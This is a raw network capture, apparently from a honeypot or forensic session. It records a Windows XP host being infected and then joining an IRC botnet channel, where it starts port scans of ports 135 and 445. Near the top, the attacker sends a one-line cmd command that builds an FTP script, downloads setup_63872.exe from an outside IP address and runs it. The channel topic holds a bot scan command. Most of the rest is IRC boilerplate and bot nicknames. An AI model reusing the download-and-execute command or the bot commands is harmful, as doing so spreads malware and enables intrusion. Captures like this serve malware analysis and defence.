VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: 220 R3pt1l3 W3lc0m3s Y0u.. VICTIM: USER 1 ATTACKER: 331 Password R3qu1r3d VICTIM: PASS 1 ATTACKER: echo open 130.13.108.109 7759 > i&echo user 1 1 >> i &echo get setup_63872.exe >> i &echo quit >> i &ftp -n -s:i &setup_63872.exe ATTACKER: 230 Us3r L0gg3d 1n. VICTIM: PORT 192,168,1,190,4 ATTACKER: 200 PORT C0mm4nd Succ3ssful. ATTACKER: RETR setup_63872.exe ATTACKER: 150 0p3n1ng BINARY M0d3 D4t4 C0nn3ct10n ATTACKER: 226 Tr4nsf3r C0mpl3t3. VICTIM: QUIT ATTACKER: 221 G00d-By3, H4ppy R00t1ng. VICTIM: open 130.13.108.109 7759 user 1 1 get setup_63872.exe quit VICTIM: NICK mxmscwttUSER i020501 . . :- VICTIM: JOIN &virtu ATTACKER: NICK [P00|USA|91293] VICTIM: USER XP-2670 * 0 :SRI-S3S1K11CZE9 ATTACKER: :java.webchat.org 001 [P00|USA|91293] :Welcome to the Internet Relay Chat network, [P00|USA|91293]!XP-2670@192.168.1.190:java.webchat.org 002 [P00|USA|91293] :Your host is java.webchat.org [216.152.66.45:6667], running ConferenceRoom:java.webchat.org 003 [P00|USA|91293] :This server was started on Mon, 31 Dec 2007 08:58:19 -0800 (Compiled on Apr 4 2007 12:31:26):java.webchat.org 004 [P00|USA|91293] java.webchat.org ConferenceRoom/3.5.0.1-SEC abcdefghijkmnopqrstwxyzABCGIJLMRWX abcdeijklmnopqrstuvzACJLMNORU:java.webchat.org 005 [P00|USA|91293] CONFERENCEROOM WALLCHOPS WHISPER KNOCK LANG NICKLEN=30 WATCH=128 MKICK MODES=6 TOPICLEN=384 SILENCE=10 KICKLEN=64 PREFIX=(ovu)@+- CHANTYPES=# :are supported on this server:java.webchat.org 005 [P00|USA|91293] CHANMODES=bouv,k,lOMN,cdejimnpqrstzAJLRU UHNAMES NAMESX CASEMAPPING=ASCII SM SAFELIST ELIST=MUCTLOX RATING MAXBANS=75 MAXCHANNELS=12 SSL=994 :are supported on this server:java.webchat.org 007 [P00|USA|91293] java.webchat.org 1199123290 :Mon, 31 Dec 2007 09:48:10 -0800:java.webchat.org 014 [P00|USA|91293] -\\MMA0AbqR94RbCI<:java.webchat.org 251 [P00|USA|91293] :There are 526 users and 24451 invisible on 9 servers:java.webchat.org 252 [P00|USA|91293] 20 :operator(s) online:java.webchat.org 253 [P00|USA|91293] 52 :unknown connection(s):java.webchat.org 254 [P00|USA|91293] 3869 :channels formed:java.webchat.org 255 [P00|USA|91293] :I have 2090 clients and 1 servers:java. ATTACKER: webchat.org 265 [P00|USA|91293] :Current local users: 2090 Max: 2196:java.webchat.org 266 [P00|USA|91293] :Current global users: 24977 Max: 26184:java.webchat.org 377 [P00|USA|91293] z-default 2132 1199120299 :Last MOTD change information: Mon, 31 Dec 2007 08:58:19 -0800:java.webchat.org 375 [P00|USA|91293] :- java.webchat.org Message of the day:java.webchat.org 372 [P00|USA|91293] :- For the message of the day please visit: http:/motd.webchat.org/:java.webchat.org 376 [P00|USA|91293] :- End of message of the day:java.webchat.org 221 [P00|USA|91293] :+ixpemJMn VICTIM: MODE [P00|USA|91293] ATTACKER: :java.webchat.org 221 [P00|USA|91293] :+ixpemJMn VICTIM: JOIN ##123r## #123r## ATTACKER: :[P00|USA|91293]!XP-2670@192.168.1.Xz808= JOIN :##123r##:java.webchat.org 332 [P00|USA|91293] ##123r## :!N1k 75 3 0 116.197.x.x -r -b:java.webchat.org 333 [P00|USA|91293] ##123r## Opper 1199123261:java.webchat.org 353 [P00|USA|91293] = ##123r## :[P00|USA|91293] [00|PRT|034166] [00|FRA|380542] [00|USA|886980] [M00|USA|62181] [MD00|FRA|4031] [MP00|BGR|8087] [00|CZE|169464] [M00|USA|15140] [00|CAN|400713] [P00|USA|12838] [00|FRA|764614] [M00|FRA|67687] [PD00|POL|4689] [00|FRA|224735] [M00|CHE|56982] [MP00|BGR|1421] [00|POL|624281] [00|ESP|914832] [00|FRA|930313] [D00|DEU|12050] [M00|FRA|29761] [M00|BRA|18216]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[00|ESP|556567] [M00|USA|48101] [M00|BGR|95972] [MP00|USA|3297] [M00|USA|35801] [M00|POL|24647] [00|USA|615048] [D00|USA|10628] [00|ROM|843905] [M00|AUT|96553] [00|USA|591344] [M00|FRA|49928] [00|USA|260421] [00|DEU|144868] [M00|USA|74376] [D00|POL|36432] [M00|CHN|48907] [MD00|SVK|4371] [00|FRA|223823] [00|BRA|700395] [M00|POL|14541] [M00|PRT|93979] [PD00|RUS|5424]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[MD00|TWN|5529] [M00|FRA|14805] [M00|DEU|79120] [M00|USA|85349] [M00|POL|94460] [MD00|BEL|5282] [00|BRA|283358] [M00|ITA|74170] [00|DEU|439171] [M00|BRA|88720] [M00|POL|69848] [M00|GBR|23666] [MPD00|RUS|171] [M00|USA|01099] [00|TWN|431833] [M00|USA|63677] [MPD00|BRA|937] [00|DEU|187589] [M00|LVA|74721] [M00|CHN|19773] [00|POL|181615] [M00|JPN|02162] [00|ESP|306761] ATTACKER: :java.webchat.org 353 [P00|USA|91293] = ##123r## :[MD00|GRC|9769] [M00|USA|42367] [MD00|RUS|0997] [M00|CHN|85087] [00|USA|920011] [M00|ESP|24530] [00|USA|628131] [MPD00|KWT|437] [M00|FRA|97005] [MPD00|BRA|746] [M00|USA|08826] [00|FRA|811052] [M00|USA|97508] [00|ESP|043416] [D00|BRA|39251] [M00|DEU|27667] [00|USA|598892] [M00|DEU|31178] [00|BRA|654034] [MP00|POL|9054] [MD00|POL|1196] [MD00|TUR|6099] [M00|KOR|71751]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[00|FRA|019758] [00|FRA|814502] [PD00|RUS|6444] [M00|ESP|04145] [M00|USA|03358] [M00|USA|93543] [M00|SAU|41796] [M00|USA|01523] [MD00|POL|1235] [MD00|TWN|9288] [M00|FIN|34938] [00|USA|173322] [MP00|HUN|5848] [00|DEU|777918] [M00|BRA|80936] [M00|CHE|61782] [P00|BEL|67947] [M00|DEU|30753] [00|HUN|756061] [M00|GBR|75898] [00|USA|324372] [M00|ESP|18152] [M00|NLD|20169]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[00|ITA|532712] [00|BRA|300085] [P00|USA|39422] [MD00|DEU|5214] [MD00|DEU|5568] [00|CHE|474816] [M00|BRA|74165] [M00|CHE|79309] [MD00|HUN|1192] [M00|USA|30711] [M00|NOR|69314] +[00|BRA|038478] [P00|SVK|59521] [M00|FRA|40982] [M00|ITA|03900] [M00|TUR|32415] [D00|USA|16947] [MP00|CZE|0266] [00|NOR|720757] [M00|USA|63259] [M00|GBR|15827] [M00|USA|94512] [00|FIN|932453]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[M00|USA|67946] [00|DEU|698745] [00|FRA|407443] [M00|FRA|76756] [00|USA|154779] [MP00|POL|7298] [P00|BEL|17278] [P00|USA|32302] [M00|USA|55743] [M00|US ATTACKER: A|65188] [00|POL|778570] [D00|HKG|07649] [00|PRT|016585] [MD00|USA|1204] [MD00|USA|6065] [MP00|POL|7558] [M00|USA|01710] [00|DEU|865697] [00|ESP|590302] [M00|BRA|83988] [00|USA|690366] [M00|FRA|49665] [M00|USA|45250] ATTACKER: :java.webchat.org 353 [P00|USA|91293] = ##123r## :[M00|POL|65906] [M00|BRA|29344] [D01|DEU|32161] [P00|DEU|01853] [00|BRA|739220] [MD00|POL|6119] [00|GBR|664230] [M00|DEU|07237] [00|FRA|597104] [M00|POL|37557] [M00|USA|85389] [M00|DEU|58385] [M00|POL|78662] [M00|USA|05232] [D00|TUR|13769] [D00|POL|41079] [D00|FRA|94362] [M00|BRA|74886] [M00|JPN|74218] [M00|USA|90293] [MPD00|BRA|652] [M00|FRA|96720] [00|USA|706355]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[M00|USA|70084] [M00|NOR|02250] [D00|TWN|86049] [MD00|CZE|7073] [MP00|POL|6055] [M00|USA|74971] [P00|FRA|25849] [M00|DEU|13693] [MPD00|RUS|737] [00|CHE|062740] [M00|USA|77425] [MP00|ESP|4994] [M00|USA|50721] [M00|ROM|28808] [MPD00|TWN|324] [M00|ROM|79625] [00|DEU|994039] [P19|USA|78488] [M00|BRA|58894] [PD00|FRA|1796] [MP00|RUS|9389] [M00|DEU|53285] [MP00|ARE|7631]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[00|USA|227898] [MD00|RUS|9626] [MP00|DEU|7270] [M00|USA|30205] [M00|DEU|78891] [MPD00|RUS|752] [MP00|USA|5650] [M00|POL|64042] [MP00|USA|5830] [M00|DEU|50357] [MP00|POL|5037] [M00|USA|39683] [00|FRA|522309] [00|RUS|405900] [00|DEU|086172] +[00|BGR|951830] [M00|DEU|23331] [P00|CZE|28959] [M00|USA|16997] [M00|USA|50720] +[00|BEL|158899] [MD00|USA|4882] [MD00|TUR|2415]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[M00|NLD|65679] [M00|RUS|97473] [P00|RUS|86414] [P00|KWT|34374] [00|DEU|325321] [MD00|ROM|9406] [D00|GBR|95074] [M00|USA|45002] [MP00|POL|5832] [M00|RU ATTACKER: S|60474] [M00|USA|31176] [MD00|USA|9571] [P00|ESP|92084] [00|HRV|920764] [00|FRA|575720] [M00|USA|28517] [M00|USA|95695] [M00|POL|79071] [MP00|ESP|7327] [MP00|TUR|3172] [M00|DEU|87657] [M00|BRA|82583] [M00|FRA|29601]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[00|POL|392431] [MD00|USA|5417] [00|FRA|690909] [00|FRA|898680] [00|DEU|456514] [00|POL|193466] [M00|VEN|00775] [P00|USA|77268] [M00|BRA|88666] [00|CHL|799500] [M00|DEU|94821] [M00|DEU|70893] [00|CZE|547168] [00|ROM|748697] [P00|CZE|65572] [MD00|USA|9010] [M00|PRT|51599] [M00|USA|39498] [M00|DEU|94359] [P00|USA|94616] [MD00|USA|3342] [M00|GBR|21276] [M00|USA|96750]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[00|CHE|530529] [00|BRA|437399] [M00|ROM|30430] [MD00|BRA|3253] [M00|POL|37348] [M00|DEU|58369] [MD00|HUN|6766] [M00|USA|88572] [MP00|USA|2341] [M00|POL|32982] [MP00|RUS|2142] [M00|USA|53998] [M00|USA|65386] [MP00|TUR|3204] [M00|USA|22553] [M00|USA|08078] [MD00|FRA|9256] [M00|USA|59125] [M00|USA|27513] [M00|POL|04095] [MP00|RUS|0500] [M00|SWE|84056] [MP00|USA|3329]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[M00|USA|46688] [MP00|HUN|1705] [MP00|POL|4028] [MD00|BEL|6917] [00|POL|136512] [M00|CZE|57400] [M00|ROM|65589] [MP00|JPN|7764] [M00|USA|81989] [M00|ESP|97145] [M00|USA|62827] [M00|USA|19237] [M00|BGR|04439] [M00|TWN|63993] [M00|BRA|88245] [MP00|BGR|3936] [M00|USA|60160] [MD00|TWN|8161] [M00|FIN|34753] [M00|USA|16189] [M00|JPN|98400] [MP00|USA|0734] [M ATTACKER: 00|FRA|07829]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[M00|FRA|03679] [M00|USA|83335] [MP00|FRA|9404] [MP00|USA|1817] [MP02|USA|8970] [M00|USA|75443] [MD00|TUR|8756] [M00|PRT|04603] [M00|USA|12547] [M00|FRA|06394] [MP00|USA|5428] [M00|HRV|70801] [M00|BGR|34691] [M00|POL|71924] [MP00|DEU|2626] [M00|DEU|33609] [M00|POL|19939] [M00|USA|95227] [M00|USA|31242] [M00|USA|71401] [M00|BRA|87979] [MP02|USA|5107] [M00|FRA|61441]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[MP00|FRA|4303] [M00|PRT|81892] [M00|DEU|81420] [M00|USA|98844] [MPD00|RUS|313] [M00|USA|68279] [M00|BRA|44482] [MD00|USA|4191] [M00|USA|58656] [00|ESP|447184] [M00|USA|47367] [M00|USA|91099] [M00|USA|90001] [M00|DEU|82518] [M00|RUS|79362] [MPD00|RUS|444] [M00|USA|52598] [M00|DEU|89089] [M00|USA|86795] [MD00|POL|8106] [M00|POL|29521] [M00|FRA|41096] [M00|USA|43775]:java.webchat.org 353 [P00|USA|91293] = ##123r## :[MP00|USA|5146] [M00|USA|31179] [MP00|CAN|3905] [00|PRT|874883] @Beirut @ksa @Opper:java.webchat.org 366 [P00|USA|91293] ##123r## :End of /NAMES list. VICTIM: MODE [P00|USA|91293] ATTACKER: :java.webchat.org 221 [P00|USA|91293] :+ixpemJMn VICTIM: JOIN ##123r## #123r## ATTACKER: :[M00|FRA|29601]!XP-0441@=DD03-69-394-92.dclient.hispeed.ch QUIT :QUIT: User exited VICTIM: MODE [P00|USA|91293] ATTACKER: :java.webchat.org 221 [P00|USA|91293] :+ixpemJMn VICTIM: JOIN ##123r## #123r## VICTIM: PRIVMSG ##123r## :\002SC4N :: \002 Random P0rt Sc4n St4rt3d 0n 116.197.x.x:135 W1th A D3l4y 0f 3 S3c0nds F0r 0 M1nut3s Us1ng 15 Thr34ds. ATTACKER: :java.webchat.org 404 [P00|USA|91293] ##123r## :Cannot send to channel: you must be voiced to speak ATTACKER: :[MPD00|BRA|746]!XP-2386@189.78.109.91660= QUIT :Ping Timeout ATTACKER: :[M00|USA|28517]!XP-2342@87.239.166.o712= QUIT :Connection reset by peer VICTIM: PRIVMSG ##123r## :\002SC4N :: \002 Random P0rt Sc4n St4rt3d 0n 116.197.x.x:445 W1th A D3l4y 0f 3 S3c0nds F0r 0 M1nut3s Us1ng 15 Thr34ds. ATTACKER: :java.webchat.org 404 [P00|USA|91293] ##123r## :Cannot send to channel: you must be voiced to speak